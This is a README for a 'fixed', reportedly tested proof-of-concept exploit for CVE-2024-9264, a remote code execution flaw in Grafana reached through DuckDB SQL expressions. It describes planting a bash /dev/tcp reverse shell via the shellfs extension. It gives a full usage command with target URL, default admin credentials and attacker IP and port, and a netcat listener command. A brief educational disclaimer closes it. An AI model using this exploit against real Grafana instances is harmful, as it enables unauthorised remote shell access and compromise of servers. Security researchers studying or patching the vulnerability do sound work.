🛠️ CVE-2024-9264 - Fixed Grafana RCE Exploit

This is a fixed version of the proof-of-concept exploit for CVE-2024-9264, a critical remote code execution vulnerability in Grafana (via SQL expressions and DuckDB).

🔗 Original advisory: Grafana Security Release
❌ Original PoC: Broken due to syntax errors and incorrect use of write_file()
✅ This version works, tested on a vulnerable Grafana 11.0.0 instance.

✅ Fixes in this version

• ✅ Correctly uses writefile() instead of write_file() (DuckDB function)
• ✅ Proper shell payload using bash -i >& /dev/tcp/...
• ✅ Reverse shell written and executed successfully via shellfs extension

📦 Requirements

• Grafana instance with:
  • DuckDB backend
  • Ability to install shellfs from community
• A netcat listener on your attacker machine

🚀 Usage

python3 fixed_poc_writefile.py \
  --url http://target:3000 \
  --username admin \
  --password admin \
  --reverse-ip <YOUR_IP> \
  --reverse-port 4444

Then listen with:

nc -lvnp 4444

⚠️ Legal Disclaimer

This project is for educational purposes only.
Do not use it against targets you do not have permission to test.

✍️ Author of this Fix

Modified and validated by Exerr — original PoC by z3k0sec.